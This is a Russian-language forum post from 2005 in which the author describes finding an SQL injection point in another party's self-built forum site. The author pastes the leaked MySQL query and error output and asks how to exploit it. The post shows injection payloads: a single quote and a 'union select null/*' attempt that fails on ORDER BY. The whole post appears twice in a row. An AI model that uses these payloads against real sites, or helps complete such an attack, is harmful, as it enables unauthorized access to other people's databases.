zodchiy
10.06.2005, 15:35
нашол недавно на самописном форуме....
когда вводиш
.php?id%5D=20'
DB Error: syntax error<br />
<!--
SELECT p.id, p.name, p.added_date, p.added_time, p.is_active, p.allow_comments, p.is_moderated, p.front_page,
p.title, p.content, p.source, p.source_url, p.views, p.rating, p.poll_question,
p.rating_votes, p.comments_count, p.keywords,
ca.id AS category_id, ca.name AS category_name,
ca.title AS category_title,
r.id AS rubric_id, r.name AS rubric_name, r.title AS rubric_title,
u.id AS user_id, u.username
FROM cb_publications AS p
LEFT JOIN cb_categories AS ca
ON (p.category_id = ca.id)
LEFT JOIN cb_rubrics AS r
ON (p.rubric_id = r.id)
LEFT JOIN cb_users AS u
ON (p.user_id = u.id)
WHERE 1 = 1
AND p.is_active = 1
ORDER BY p.added_date DESC, p.added_time DESC LIMIT 0, 20' [nativecode=1064 ** You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 19] -->
как это можно использоват для sql аттаки....э в смысле использовать-то можно как я понимаю, но стандартно не получается, - при всставке конструкции UNION вылазит -
пример:
.php?id%5D=20+union+select+null/*
DB Error: unknown error<br />
<!--
SELECT p.id, p.name, p.added_date, p.added_time, p.is_active, p.allow_comments, p.is_moderated, p.front_page,
p.title, p.content, p.source, p.source_url, p.views, p.rating, p.poll_question,
p.rating_votes, p.comments_count, p.keywords,
ca.id AS category_id, ca.name AS category_name,
ca.title AS category_title,
r.id AS rubric_id, r.name AS rubric_name, r.title AS rubric_title,
u.id AS user_id, u.username
FROM cb_publications AS p
LEFT JOIN cb_categories AS ca
ON (p.category_id = ca.id)
LEFT JOIN cb_rubrics AS r
ON (p.rubric_id = r.id)
LEFT JOIN cb_users AS u
ON (p.user_id = u.id)
WHERE 1 = 1
AND p.is_active = 1
ORDER BY p.added_date DESC, p.added_time DESC LIMIT 0, 20 union select null/* [nativecode=1221 ** Incorrect usage of UNION and ORDER BY ] -->
когда вводиш
.php?id%5D=20'
DB Error: syntax error<br />
<!--
SELECT p.id, p.name, p.added_date, p.added_time, p.is_active, p.allow_comments, p.is_moderated, p.front_page,
p.title, p.content, p.source, p.source_url, p.views, p.rating, p.poll_question,
p.rating_votes, p.comments_count, p.keywords,
ca.id AS category_id, ca.name AS category_name,
ca.title AS category_title,
r.id AS rubric_id, r.name AS rubric_name, r.title AS rubric_title,
u.id AS user_id, u.username
FROM cb_publications AS p
LEFT JOIN cb_categories AS ca
ON (p.category_id = ca.id)
LEFT JOIN cb_rubrics AS r
ON (p.rubric_id = r.id)
LEFT JOIN cb_users AS u
ON (p.user_id = u.id)
WHERE 1 = 1
AND p.is_active = 1
ORDER BY p.added_date DESC, p.added_time DESC LIMIT 0, 20' [nativecode=1064 ** You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 19] -->
как это можно использоват для sql аттаки....э в смысле использовать-то можно как я понимаю, но стандартно не получается, - при всставке конструкции UNION вылазит -
пример:
.php?id%5D=20+union+select+null/*
DB Error: unknown error<br />
<!--
SELECT p.id, p.name, p.added_date, p.added_time, p.is_active, p.allow_comments, p.is_moderated, p.front_page,
p.title, p.content, p.source, p.source_url, p.views, p.rating, p.poll_question,
p.rating_votes, p.comments_count, p.keywords,
ca.id AS category_id, ca.name AS category_name,
ca.title AS category_title,
r.id AS rubric_id, r.name AS rubric_name, r.title AS rubric_title,
u.id AS user_id, u.username
FROM cb_publications AS p
LEFT JOIN cb_categories AS ca
ON (p.category_id = ca.id)
LEFT JOIN cb_rubrics AS r
ON (p.rubric_id = r.id)
LEFT JOIN cb_users AS u
ON (p.user_id = u.id)
WHERE 1 = 1
AND p.is_active = 1
ORDER BY p.added_date DESC, p.added_time DESC LIMIT 0, 20 union select null/* [nativecode=1221 ** Incorrect usage of UNION and ORDER BY ] -->